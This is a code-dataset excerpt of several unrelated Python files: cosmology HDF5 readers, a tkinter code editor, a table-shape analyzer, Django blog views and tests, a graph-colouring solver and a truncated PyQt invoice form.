hf[f'cosmology/cosmological_parameters']\n }\n cosmo.params = {}\n for name in pars:\n p = pars[name]\n cosmo.params[name] = PhysicalParameter(name=name, kind=PhysicalParameter.COSMO_PAR_STRING,\n fiducial=p['fiducial'],\n is_free_parameter=p['is_present'],\n current_value=p['current'])\n hf.close()\n return cosmo\n\n\ndef read_v104_cls_file(file):\n hf = h5py.File(file, mode='r')\n coll = AngularCoefficientsCollector()\n cls_grp = hf['/cls']\n dns_grp = hf['/density_functions']\n wfs_grp = hf['/weight_functions']\n kfs_grp = hf['/kernels']\n cl_keys = cls_grp.keys()\n for key in cl_keys:\n p1, p2 = gu.get_probes_from_comb_key(key)\n cl = AngularCoefficient(probe1=p1, probe2=p2)\n cl.c_lij = cls_grp[key]['c_lij'][()]\n cl.l_bin_centers = cls_grp[key]['l_bin_centers'][()]\n cl.l_bin_widths = cls_grp[key]['l_bin_widths'][()]\n cl.kernel = kfs.KernelFunction()\n cl.kernel.k_ijz = kfs_grp[key]['k_ijz'][()]\n w1 = wfs.weight_function_for_probe(probe=p1)\n w2 = wfs.weight_function_for_probe(probe=p2)\n w1.w_bin_z = wfs_grp[p1][()]\n w2.w_bin_z = wfs_grp[p2][()]\n w1.density = RedshiftDensity()\n w1.density.norm_density_iz = dns_grp[p1]['norm_density_i_z'][()]\n w2.density = RedshiftDensity()\n w2.density.norm_density_iz = dns_grp[p2]['norm_density_i_z'][()]\n cl.kernel.weight1 = w1\n cl.kernel.weight2 = w2\n coll.cl_dict[key] = cl\n return coll\n\n\ndef read_cls_file(file: \"Union[str, Path]\", version: \"str\"):\n v = Version(version)\n if v < Version('1.1.0'):\n coll = read_v104_cls_file(file)\n else:\n coll = AngularCoefficientsCollector.fromHDF5(file)\n return coll\n\n\ndef read_cosmo_file(file: \"Union[str, Path]\", version: \"str\", load_power_spectrum: \"bool\"):\n v = Version(version)\n if v < Version('1.1.0'):\n cosmo = read_v104_cosmo_file(file)\n elif v == Version('1.1.0'):\n cosmo = read_v110_cosmo_file(file)\n elif v > Version('1.1.0'):\n cosmo = Cosmology.fromHDF5(file, load_power_spectrum=load_power_spectrum)\n else:\n raise ValueError(f'Unrecognized version {v}')\n return cosmo\n\n\ndef read_dcl_file(file: \"Union[str, Path]\") -> \"Dict\":\n hf = h5py.File(file, mode='r')\n dcl_data = {}\n for key, entry in hf.items():\n if isinstance(entry, h5py.Dataset):\n dcl_data[key] = entry[()]\n elif isinstance(entry, h5py.Group):\n dcl_data[key] = entry[\"dc_lij\"][()]\n else:\n raise TypeError(f\"Invalid HDF5 entry type {type(entry)}\")\n\n return dcl_data\n","repo_name":"LucaPaganin/SEYFERT","sub_path":"seyfert/file_io/retro_comp.py","file_name":"retro_comp.py","file_ext":"py","file_size_in_byte":5267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32663993221","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nimport subprocess\nimport re\n\ndef open_file():\n file_path = filedialog.askopenfilename(filetypes=[(\"Python Files\", \"*.py\")])\n if file_path:\n with open(file_path, \"r\") as file:\n code_text.delete(\"1.0\", tk.END)\n code_text.insert(tk.END, file.read())\n highlight_syntax()\n\ndef save_file():\n file_path = filedialog.asksaveasfilename(defaultextension=\".py\", filetypes=[(\"Python Files\", \"*.py\")])\n if file_path:\n with open(file_path, \"w\") as file:\n file.write(code_text.get(\"1.0\", tk.END))\n\ndef run_code():\n code = code_text.get(\"1.0\", tk.END)\n try:\n subprocess.run([\"python\", \"-c\", code], check=True)\n except subprocess.CalledProcessError as e:\n messagebox.showerror(\"Error\", f\"An error occurred: {e.stderr}\")\n\ndef auto_indent(event):\n code_text.tag_remove(\"sel\", \"1.0\", tk.END)\n current_line = code_text.index(tk.INSERT).split('.')[0]\n previous_line = str(int(current_line) - 1)\n previous_line_indent = code_text.get(previous_line + \".0\", previous_line + \".end\").strip()\n if previous_line_indent.endswith(\":\"):\n indent = \" \" * (len(previous_line_indent) - len(previous_line_indent.lstrip()) + 4)\n code_text.insert(tk.INSERT, indent)\n\ndef highlight_syntax(event=None):\n code_text.tag_remove(\"syntax\", \"1.0\", tk.END)\n\n keywords = [\"def\", \"class\", \"if\", \"else\", \"elif\", \"for\", \"while\", \"try\", \"except\", \"finally\", \"with\", \"as\",\n \"import\", \"from\", \"global\", \"nonlocal\", \"return\", \"yield\", \"assert\", \"lambda\", \"pass\", \"break\",\n \"continue\", \"in\", \"not\", \"is\", \"and\", \"or\", \"True\", \"False\", \"None\"]\n\n string_pattern = r\"\\\".*?\\\"|\\'.*?\\'\"\n comment_pattern = r\"#.*?$\"\n\n code = code_text.get(\"1.0\", tk.END)\n tags = []\n\n for keyword in keywords:\n for match in re.finditer(r\"\\b{}\\b\".format(re.escape(keyword)), code):\n start = match.start()\n end = match.end()\n code_text.tag_add(\"syntax\", f\"1.0+{start}c\", f\"1.0+{end}c\")\n\n for pattern, tag in [(string_pattern, \"string\"), (comment_pattern, \"comment\")]:\n for match in re.finditer(pattern, code, re.MULTILINE):\n start = match.start()\n end = match.end()\n code_text.tag_add(tag, f\"1.0+{start}c\", f\"1.0+{end}c\")\n\n code_text.tag_config(\"syntax\", foreground=\"blue\")\n code_text.tag_config(\"string\", foreground=\"green\")\n code_text.tag_config(\"comment\", foreground=\"red\")\n\nroot = tk.Tk()\nroot.title(\"Python Code Editor\")\n\nmenu_bar = tk.Menu(root)\n\nfile_menu = tk.Menu(menu_bar, tearoff=False)\nfile_menu.add_command(label=\"Open\", command=open_file)\nfile_menu.add_command(label=\"Save\", command=save_file)\nfile_menu.add_separator()\nfile_menu.add_command(label=\"Exit\", command=root.quit)\nmenu_bar.add_cascade(label=\"File\", menu=file_menu)\n\nrun_menu = tk.Menu(menu_bar, tearoff=False)\nrun_menu.add_command(label=\"Run\", command=run_code)\nmenu_bar.add_cascade(label=\"Run\", menu=run_menu)\n\nroot.config(menu=menu_bar)\n\neditor_frame = tk.Frame(root)\neditor_frame.pack(fill=tk.BOTH, expand=True)\n\nscrollbar = tk.Scrollbar(editor_frame)\nscrollbar.pack(side=tk.RIGHT, fill=tk.Y)\n\ncode_text = tk.Text(editor_frame, wrap=tk.NONE, yscrollcommand=scrollbar.set)\ncode_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)\n\nscrollbar.config(command=code_text.yview)\n\ncode_text.bind(\"\", auto_indent)\ncode_text.bind(\"\", highlight_syntax)\ncode_text.tag_configure(\"syntax\", foreground=\"blue\")\ncode_text.tag_configure(\"string\", foreground=\"green\")\ncode_text.tag_configure(\"comment\", foreground=\"red\")\n\nroot.mainloop()\n","repo_name":"davidbsher/gui4sher","sub_path":"ChatShell.py","file_name":"ChatShell.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37672402143","text":"from models.buildings import Building\nfrom models.floor import Floor\nfrom models.conferenceRoom import ConfRoom\nfrom models.central import Controller\nfrom service.slotHandler import checkSlotAvailibility\n# while(True): \n# inp = input('Provide details like building name/floor/room. type exit when done. \\n')\n# if inp =='exit':\n# break\n# building,floor,room = inp.split('/')\n# b = Building()\n# f = Floor()\n# r = ConfRoom()\n# b.setBuildingDetails(building, building)\n# f.setFloor(floor, b)\n# r.setConfRoom(room, f)\n\ndef display():\n for buildings in c.buildings:\n for floors in buildings.floors:\n for rooms in floors.confRooms:\n print(f\"building: {buildings.name}, floor: {floors.floorNo}, room: {rooms.roomNo}, slot: {rooms.getSlots()}\")\n\nc = Controller()\ndef inputs():\n # i = input('Enter building name\\n')\n # f = input('Enter Floor\\n')\n # r = input('Enter room\\n')\n # s = input('Enter slot\\n')\n i, f, r, s = input('give inputs in this manner building/floor/room/slot(eg:start-end): \\n').split('/')\n #building\n if c.getBuilding(i):\n print('Building found')\n building = c.getBuilding(i)\n else:\n print('Adding new building')\n building = Building()\n building.setName(i)\n c.setController(building)\n #floor\n if building.getFLoor(f):\n print('Floor found')\n floor = building.getFLoor(f)\n else:\n print('Adding new floor')\n floor = Floor()\n floor.setFloorNo(f)\n building.addFloor(floor)\n #room\n if floor.getRoom(r):\n print('Room found')\n room = floor.getRoom(r)\n else:\n print('Adding new room')\n room = ConfRoom()\n room.setRoomNo(r)\n floor.addConfRoom(room)\n #slot\n occupied_slots = room.getSlots()\n if checkSlotAvailibility(occupied_slots, s):\n room.setSlot(s)\n print(f'Your slot has been set {s}')\n else:\n print(f'Slot is occupied please choose another slots except {occupied_slots}')\n\n decission = input('1. delete slot, 2. Give another input, 3. exit, 4. view db\\n')\n if decission == '3':\n return\n if decission == '1':\n can = input(f'which slot to cancel between {occupied_slots}')\n room.cancelSlot(can)\n print(f'SLot cancelled, available slots are {room.getSlots()}')\n if decission =='2':\n inputs()\n if decission =='4':\n display()\n inputs()\ninputs()\n# Building().setBuildingDetails(i,None)\n# c.setController(b)\n\n","repo_name":"kumareshdey/system_design","sub_path":"conference_room/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2761453022","text":"import pandas\nimport os\nimport matplotlib.pyplot as plt\nimport sys\nfrom bs4 import BeautifulSoup\n\n# CHANGE ME\nFILES_TO_PROCESS = 10000\n\n# Init arrays for collecting scatter plot data\nthings_of_interest = ['rent roll','appraisal','payment history']\nrrs = []\napps = []\nphs = []\nerror_count = 0\nfile_count = 0\n\n# If row contains name set the Flag to True\ndef match_name( name, cell_str, flag ):\n\t# Don't check contains in cell if flag is already true\n\tif flag:\n\t\treturn True\n\telse:\n\t\tif name in cell_str:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False \n\n# Walk the FS (For testing use: /Users/debajyotiroy/Ingest/test)\nfor root, dirs, files in os.walk(\"/Users/debajyotiroy/Ingest/Staging\"):\n\tif file_count >= FILES_TO_PROCESS:\n\t\tbreak\n\n\tfor file in files:\n\t\tif file_count >= FILES_TO_PROCESS:\n\t\t\tbreak\n\t\t# For a html file\n\t\tif file.endswith(\".html\") or file.endswith(\".htm\"):\n\t\t\tloc = os.path.join(root, file)\n\t\t\t# Show progress\n\t\t\tsys.stdout.write('|')\n\t\t\tsys.stdout.flush()\n\n\t\t\twith open(loc) as f:\n\t\t\t\t\n\t\t\t\t\tfile_count += 1\n\t\t\t\t\t# extract tables from html \n\t\t\t\t\tbs_tables = BeautifulSoup(f.read(), \"lxml\").findAll('table')\n\t\t\t\t\tfor bs_table in bs_tables:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tbs_table_string = str(bs_table).lower()\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif any(x in bs_table_string for x in things_of_interest):\n\t\t\t\t\t\t\t\t# load html table as a DataFrame \n\t\t\t\t\t\t\t\tdf = pandas.read_html(bs_table_string)\n\n\t\t\t\t\t\t\t\tfor table in df:\n\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\t# Init flags to detect table type\n\t\t\t\t\t\t\t\t\t\trr_flag = False\n\t\t\t\t\t\t\t\t\t\tapp_flag = False\n\t\t\t\t\t\t\t\t\t\tph_flag = False\n\n\t\t\t\t\t\t\t\t\t\tfor index, row in table.iterrows():\n\t\t\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\t\t\tfor cell in row:\n\t\t\t\t\t\t\t\t\t\t\t\t\tcell_str = str(cell)\n\t\t\t\t\t\t\t\t\t\t\t\t\trr_flag = match_name('rent roll', cell_str, rr_flag)\n\t\t\t\t\t\t\t\t\t\t\t\t\tapp_flag = match_name('appraisal', cell_str, app_flag)\n\t\t\t\t\t\t\t\t\t\t\t\t\tph_flag = match_name('payment history', cell_str, ph_flag)\n\n\t\t\t\t\t\t\t\t\t\t\t\tif rr_flag and app_flag and ph_flag:\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\t\texcept (ValueError):\n\t\t\t\t\t\t\t\t\t\t\t\tpass\n\n\t\t\t\t\t\t\t\t\t\t# Append to the correct scatter plot data\n\t\t\t\t\t\t\t\t\t\tif rr_flag:\t\t\n\t\t\t\t\t\t\t\t\t\t\trrs.append(table.shape)\n\t\t\t\t\t\t\t\t\t\tif app_flag:\t\t\n\t\t\t\t\t\t\t\t\t\t\tapps.append(table.shape)\n\t\t\t\t\t\t\t\t\t\tif ph_flag:\t\t\n\t\t\t\t\t\t\t\t\t\t\tphs.append(table.shape)\n\t\t\t\t\t\t\t\t\texcept (ValueError):\n\t\t\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\texcept (ValueError):\n\t\t\t\t\t\t\terror_count += 1\n\n# Create plot arrays\nrr_x_val = [x[1] for x in rrs]\nrr_y_val = [x[0] for x in rrs]\n\napp_x_val = [x[1] for x in apps]\napp_y_val = [x[0] for x in apps]\n\nph_x_val = [x[1] for x in phs]\nph_y_val = [x[0] for x in phs]\n\nprint('X')\nprint(\"Files: {a:5d} , Errors : {b:5d}\".format(a=file_count, b=error_count))\n\nfig = plt.figure(figsize=(32,10))\n\n# Scatter plot \nax0 = fig.add_subplot(331)\nax0.scatter(rr_x_val, rr_y_val, s=10, c='b', marker=\"s\", label='Rent Roll')\nax0.set_title('Rent Roll - Shapes')\nax0.set_xlabel('Rows')\nax0.set_ylabel('Columns')\n\nax1 = fig.add_subplot(332)\nax1.scatter(app_x_val, app_y_val, s=10, c='r', marker=\"o\", label='Appraisal')\nax1.set_title('Appraisal - Shapes')\nax1.set_xlabel('Rows')\nax1.set_ylabel('Columns')\n\nax2 = fig.add_subplot(333)\nax2.scatter(ph_x_val, ph_y_val, s=10, c='r', marker=\"o\", label='Payment History')\nax2.set_title('Payment History - Shapes')\nax2.set_xlabel('Rows')\nax2.set_ylabel('Columns')\n\n# Histograms\nax3 = fig.add_subplot(334)\nax3.hist(rr_y_val)\nax3.set_title(\"Rent Roll - Columns\")\n\nax4 = fig.add_subplot(335)\nax4.hist(app_y_val)\nax4.set_title(\"Appraisal - Columns\")\n\nax5 = fig.add_subplot(336)\nax5.hist(ph_y_val)\nax5.set_title(\"Payment History - Columns\")\n\nax6 = fig.add_subplot(337)\nax6.hist(rr_x_val)\nax6.set_title(\"Rent Roll - Rows\")\n\nax7 = fig.add_subplot(338)\nax7.hist(app_x_val)\nax7.set_title(\"Appraisal - Rows\")\n\nax8 = fig.add_subplot(339)\nax8.hist(ph_x_val)\nax8.set_title(\"Payment History - Rows\")\n\n# Save and Show plot\nplt.savefig('tu.png')\nplt.show()\n","repo_name":"debajyotiroy/Ingest","sub_path":"tu.py","file_name":"tu.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"849320246","text":"# -*- coding: utf-8 -*-\nfrom sqlalchemy import *\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\n# using SQLite database for log\nengine = create_engine('sqlite:///sync_log.db')\nBase = declarative_base()\nBase.metadata.create_all(engine)\n\nclass SyncLog(Base):\n \"\"\"\n Model for logging time entry synchronization.\n Needed to avoid repeated synchronization and time entry duplication.\n \"\"\"\n \n __tablename__ = 'synclog'\n \n id = Column(Integer, primary_key=True)\n fact_id = Column(Integer) # fact ID in Hamster\n task_id = Column(Integer) # task ID in Redmine\n\n\nSession = sessionmaker(bind=engine)\nsession = Session()","repo_name":"sasha0/hamster_redmine","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"33228279962","text":"from django.contrib.auth.models import User\nfrom django.contrib.postgres.fields import JSONField\nfrom django.test import TestCase\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\n\nfrom api.models import Movement\n\n\nclass Test_Create_Movement(TestCase):\n\n @classmethod\n def setUpTestData(cls):\n testuser1 = User.objects.create_user(\n username='test_user1', password='123456789'\n )\n test_exercise = JSONField('{\"id\": 120, \"name\": \"PNF - D1 Diagonal Lifts\"}')\n test_movement = Movement.objects.create(\n actionDescription=\"\\u2022 Begin the movement by raising the involved arm up and across the body.\\n\\u2022 Move the hand and theraband up towards the opposite shoulder in a diagonal motion. \\n\\u2022 Hold at the top for a moment then return to the starting position and repeat.\",\n exerId='S-TS-999', \n exercise='{\"id\": 120, \"name\": \"PNF - D1 Diagonal Lifts\"}',\n name= \"D1 - Diagonal Lifts\", \n thumbnailUrl= \"https://tryout-data.s3.amazonaws.com/thumbnails/75365d3f-f38e-4e08-9ca4-e98866a851c7.jpeg\",\n versions= [\"1.5.0\", \"1.6.0\",]\n )\n\n\n def test_movement_content(self):\n movement = Movement.objects.get(id=1)\n actionDescription = f\"{movement.actionDescription}\"\n exerId = f'{movement.exerId}'\n exercise = f'{movement.exercise}'\n name = f'{movement.name}'\n thumbnailUrl = f'{movement.thumbnailUrl}'\n versions = f'{movement.versions}'\n\n self.assertEqual(actionDescription, \"\\u2022 Begin the movement by raising the involved arm up and across the body.\\n\\u2022 Move the hand and theraband up towards the opposite shoulder in a diagonal motion. \\n\\u2022 Hold at the top for a moment then return to the starting position and repeat.\")\n self.assertEqual(exerId, 'S-TS-999')\n self.assertEqual(exercise, '{\"id\": 120, \"name\": \"PNF - D1 Diagonal Lifts\"}')\n self.assertEqual(name, \"D1 - Diagonal Lifts\")\n self.assertEqual(thumbnailUrl, \"https://tryout-data.s3.amazonaws.com/thumbnails/75365d3f-f38e-4e08-9ca4-e98866a851c7.jpeg\") \n self.assertEqual(versions, \"['1.5.0', '1.6.0']\")\n\n\nclass MovementTests(APITestCase):\n def test_non_admin_user(self):\n url = reverse('movements_list')\n print(\"url\", url)\n response = self.client.get(url, format='json')\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n\n","repo_name":"isaidspaghetti/exerai","sub_path":"backend/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45504433906","text":"from django_filters import rest_framework as filters\n\nfrom common.utilities import (\n BooleanFieldFilter,\n CommonFieldsFilterset\n)\n\nfrom students.models import (\n Student,\n)\n\n\nclass StudentFilter(CommonFieldsFilterset):\n first_name = filters.CharFilter(field_name='first_name', lookup_expr='iexact')\n last_name = filters.CharFilter(field_name='last_name', lookup_expr='iexact')\n\n class Meta(object):\n model = Student\n fields = (\n 'first_name',\n 'last_name',\n 'admission_number',\n 'student_class',\n 'subjects',\n )","repo_name":"kelvin-muchiri/classteacher","sub_path":"students/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"69813755986","text":"import time\nfrom functools import wraps\n\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.views import get_user_model\nfrom django.core.cache import cache\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.paginator import Paginator\nfrom django.db.models import Count, Q\nfrom django.shortcuts import get_object_or_404, redirect, render\n\nfrom .forms import CommentForm, PostForm\nfrom .models import Follow, Group, Post, User\n\nUser = get_user_model()\n\n\n# Декоратор для тестирования скорости выполнения функций\ndef execute_time(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n start = time.time()\n res = func(*args, **kwargs)\n stop = time.time()\n print(stop - start)\n return res\n return wrapper\n\n\ndef get_page_obj_paginator(request, post_list):\n paginator = Paginator(post_list, settings.POSTS_PER_PAGE)\n page_number = request.GET.get('page')\n page_obj = paginator.get_page(page_number)\n return {'page_obj': page_obj}\n\n\n# @cache_page(20, key_prefix='index_page')\n# @vary_on_cookie\n# @execute_time\ndef index(request):\n posts_list = cache.get('posts_list')\n if not posts_list:\n posts_list = (Post.objects.select_related('author')\n .select_related('group').all())\n cache.set('posts_list', posts_list, 20)\n context = get_page_obj_paginator(request, posts_list)\n context.update({'title': 'Последние записи'})\n return render(request, template_name='posts/index.html', context=context)\n\n\n# @execute_time\ndef group_posts(request, slug):\n group = get_object_or_404(Group, slug=slug)\n group_post_list = group.posts.select_related('author').all()\n context = get_page_obj_paginator(request, group_post_list)\n context.update({'group': group})\n return render(request, template_name='posts/group_list.html',\n context=context)\n\n\ndef profile(request, username):\n author = get_object_or_404(User, username=username)\n user_posts = author.posts.select_related('group').all()\n context = get_page_obj_paginator(request, user_posts)\n following = (request.user.is_authenticated\n and Follow.objects.filter(user=request.user,\n author=author).exists())\n context.update({'following': following, 'author': author})\n return render(request, 'posts/profile.html', context)\n\n\ndef post_detail(request, post_id):\n post = (get_object_or_404(Post.objects.select_related('author')\n .annotate(count=Count('author__posts')),\n id=post_id))\n comments = post.comments.select_related('author').all()\n comment_form = CommentForm()\n context = {'post': post, 'comments': comments,\n 'comment_form': comment_form}\n return render(request, 'posts/post_detail.html', context)\n\n\n@login_required\ndef post_create(request):\n form = PostForm(request.POST or None, files=request.FILES or None)\n if form.is_valid():\n author = request.user\n post = form.save(commit=False)\n post.author = author\n post.save()\n return redirect('posts:profile', author.username)\n return render(request, 'posts/create_post.html', {'form': form})\n\n\n@login_required\ndef post_edit(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n if request.user != post.author or not request.user.is_authenticated:\n raise PermissionDenied('Редактировать запись может только автор')\n form = PostForm(request.POST or None,\n files=request.FILES or None,\n instance=post)\n if form.is_valid():\n form.save()\n return redirect('posts:post_detail', post_id)\n context = {'form': form, 'is_edit': True, 'post_id': post_id}\n return render(request, 'posts/create_post.html', context)\n\n\n@login_required\ndef post_delete(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n if request.user != post.author:\n raise PermissionDenied('Удалить запись может только автор')\n post.delete()\n return redirect('posts:profile', post.author.username)\n\n\n@login_required\ndef add_comment(request, post_id):\n post = get_object_or_404(Post, id=post_id)\n form = CommentForm(request.POST or None)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.author = request.user\n comment.post = post\n comment.save()\n return redirect('posts:post_detail', post_id=post_id)\n\n\n@login_required\n# @cache_page(20, key_prefix='follow_page')\n# @vary_on_cookie\ndef follow_index(request):\n follow_posts = cache.get('follow_posts')\n if not follow_posts:\n follow_posts = (\n (Post.objects.select_related('author').select_related('group')\n .filter(author__following__user=request.user)))\n cache.set('follow_posts', follow_posts, 20)\n context = get_page_obj_paginator(request, follow_posts)\n return render(request, 'posts/follow.html', context)\n\n\n@login_required\ndef profile_follow(request, username):\n author = get_object_or_404(User, username=username)\n user = request.user\n if user == author:\n raise PermissionDenied()\n Follow.objects.get_or_create(user=request.user, author=author)\n return render(request, 'posts/follow.html')\n\n\n@login_required\ndef profile_unfollow(request, username):\n author = get_object_or_404(User, username=username)\n follow = get_object_or_404(Follow, user=request.user, author=author)\n follow.delete()\n return redirect('posts:main')\n\n\ndef get_search_result(request):\n text = request.GET.get('text')\n if not text:\n return render(request, 'posts/index.html',\n {'title': 'Введите текст в строку поиска'})\n posts_search = (\n Post.objects.select_related('author').select_related('group')\n .filter(Q(text__contains=text)\n | Q(text__contains=text.lower())\n | Q(text__contains=text.capitalize())\n | Q(author__username__contains=text)\n | Q(author__first_name__contains=text)))\n context = get_page_obj_paginator(request, posts_search)\n count_posts = context['page_obj'].paginator.count\n title = 'Результаты поиска' if count_posts else 'Ничего не найдено'\n context.update({'title': title})\n cache.clear()\n return render(request, 'posts/index.html', context)\n","repo_name":"ddr533/Yatube_project","sub_path":"yatube/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"36075886994","text":"# Author: Alex Li\n# Student #: 301239152\n\n# Function Backtracking-Search(csp) returns solution/failure\n# return Recursive-Backtracking({ }, csp)\n# Function Recursive-Backtracking(assignment, csp) returns soln/failure\n# if assignment is complete then return assignment\n# var ←Select-Unassigned-Variable(Variables[csp], assignment, csp)\n# for each value in Order-Domain-Values(var, assignment, csp) do\n# if value is consistent with assignment given Constraints[csp] then\n# add {var = value} to assignment\n# result ←Recursive-Backtracking(assignment, csp)\n# if result 6= failure then\n# return result\n# remove {var = value} from assignment\n# return failure\n\nfrom queue import PriorityQueue\n\n# Check the assignment is complete or not \ndef isComplete(assignment,n):\n if len(assignment) == n:\n return True\n return False\n\ndef pickVertex(unassign_list):\n color_lens = []\n for index in unassign_list:\n color_lens.append(len(color[index-1]))\n min_size = min(color_lens)\n min_poses = [pos for pos,val in enumerate(color_lens) if val == min_size]\n return unassign_list[min_poses[0]]\n\n \ndef heuristic(curr_vertex, temp_color):\n count = 0\n for node in unassign_list:\n if node != curr_vertex and node in G[curr_vertex - 1]:\n count += len(color[node - 1])\n if temp_color in color[node-1]:\n count -= 1\n return count \n \n \ndef createColorPq(curr_vertex):\n pq = PriorityQueue()\n for temp_color in range(1,k + 1):\n pq.put((heuristic(curr_vertex, temp_color),temp_color))\n return pq\n\ndef isConsistant(curr_vertex, curr_color):\n for neighbour in G[curr_vertex - 1]:\n if neighbour != G[curr_vertex - 1][0]:\n for node in assignment:\n # if neighbour contains same color return false\n if neighbour == node[0] and curr_color == node[1]:\n return False\n return True\n\ndef removeColor(curr_vertex,curr_color):\n for neighbour in G[curr_vertex - 1]:\n if neighbour in unassign_list:\n color[neighbour - 1].remove(curr_color)\n\ndef addColor(curr_vertex, curr_color):\n for neighbour in G[curr_vertex - 1]:\n if neighbour in unassign_list:\n color[neighbour - 1].append(curr_color) \n \n\ndef solve(n, k, G):\n # write your code here\n if isComplete(assignment,n):\n return assignment\n\n curr_vertex = pickVertex(unassign_list)\n colorPq = createColorPq(curr_vertex)\n # print(curr_vertex)\n for _ in range(k):\n curr_color = colorPq.get()[1]\n \n if isConsistant(curr_vertex,curr_color):\n assignment.append((curr_vertex,curr_color))\n assigned_list.append(curr_vertex)\n unassign_list.remove(curr_vertex)\n removeColor(curr_vertex,curr_color)\n \n ans = solve(n,k,G)\n if ans != []:\n return ans\n\n assignment.remove((curr_vertex,curr_color))\n assigned_list.remove(curr_vertex)\n addColor(curr_vertex,curr_color)\n unassign_list.append(curr_vertex)\n\n return []\n\n\n# G = [[1,2,3], [2,1,3], [3,1,2], [4,5], [5,4]] # a list of lists\n# n = 5 # number of vertices\n# k = 3 # number of colours\n\nG = [[1,2 ,3, 4, 6, 7, 10],[2, 1, 3, 4, 5, 6],[3, 1, 2],[4, 1, 2],[5, 2, 6],[6, 1, 2, 5, 7, 8],[7, 1, 6, 8, 9 ,10],[8, 6, 7, 9],[9, 7, 8, 10],[10, 1, 7, 9]]\nn = len(G)\nk = 5\n\n# inital result assigned_list nodes, unasigned nodes and assignments for check compelete or not\nassignment = []\nunassign_list = list(range(1,n+1))\nassigned_list = []\ncolor = []\nfor i in range(n):\n color.append(list(range(1,k + 1)))\nans = []\n\n# solve(n,k,G)\nprint(solve(n,k,G))\n","repo_name":"liyujiel/Backtracking_Search","sub_path":"asst2.py","file_name":"asst2.py","file_ext":"py","file_size_in_byte":3755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39628231124","text":"import globalvar\r\nimport popup_Pickup_Employee\r\nfrom PyQt5.QtWidgets import *\r\nfrom main import *\r\nfrom dbtool import *\r\nfrom frm_popup_Invoice import *\r\n\r\nclass main(QMainWindow, Ui_popup_Invoice):\r\n def __init__(self):\r\n super(main, self).__init__()\r\n self.setupUi(self)\r\n self.popup_employee = popup_Pickup_Employee.main()\r\n self.pbtn_buyer_Pick.clicked.connect(self.click_popup_Employee_Popup)\r\n self.popup_employee.pbtn_Pick.clicked.connect(self.click_popup_Employee_Pick)\r\n self.popup_employee.pbtn_Cancel.clicked.connect(self.click_popup_Employee_Quit)\r\n\r\n def click_popup_Employee_Popup(self):\r\n globalvar.pick_employee_id = \"\"\r\n popup_Pickup_Employee.popup_show(self, self.popup_employee)\r\n def click_popup_Employee_Pick(self):\r\n globalvar.pick_employee_id = \"\"\r\n popup_Pickup_Employee.popup_pick(self, self.popup_employee)\r\n if globalvar.pick_employee_id != \"\" :\r\n result = dbQuery(\"select CONCAT(t1.Fst_Name,t1.Lst_Name) from S_CONTACT t1 where id = %s\", globalvar.pick_employee_id)\r\n self.le_employee.setText(str(result[0][0]))\r\n def click_popup_Employee_Quit(self):\r\n popup_Pickup_Employee.popup_quit(self, self.popup_employee)\r\n\r\ndef popup_show(main_window, popup_win):\r\n popup_win.setFixedSize(popup_win.width(), popup_win.height())\r\n main_window.setEnabled(False)\r\n popup_win.setEnabled(True)\r\n popup_win.le_no.setText(\"\")\r\n popup_win.le_type.setText(\"\")\r\n popup_win.le_tax.setText(\"\")\r\n popup_win.le_amount.setText(\"\")\r\n popup_win.le_buyer.setText(\"\")\r\n popup_win.le_seller.setText(\"\")\r\n popup_win.show()\r\n\r\ndef popup_save(main_window, popup_win):\r\n billing_dt = popup_win.de_billing_dt.text()\r\n return_dt = popup_win.de_return_dt.text()\r\n no = popup_win.le_no.text().strip()\r\n type = popup_win.le_type.text().strip()\r\n tax = popup_win.le_tax.text().strip()\r\n amount = popup_win.le_amount.text().strip()\r\n PartyA_id = globalvar.pick_employee_id\r\n PartyB_id = globalvar.pick_employee_id\r\n PartyA_id = popup_win.le_buyer.text().strip()\r\n PartyB_id = popup_win.le_seller.text().strip()\r\n #Comments = popup_win.te_Comments.toPlainText()\r\n if billing_dt != \"\" and return_dt != \"\" and no != \"\" and type != \"\" and tax != \"\" and amount != \"\" and PartyA_id != \"\" and PartyB_id != \"\":\r\n result = 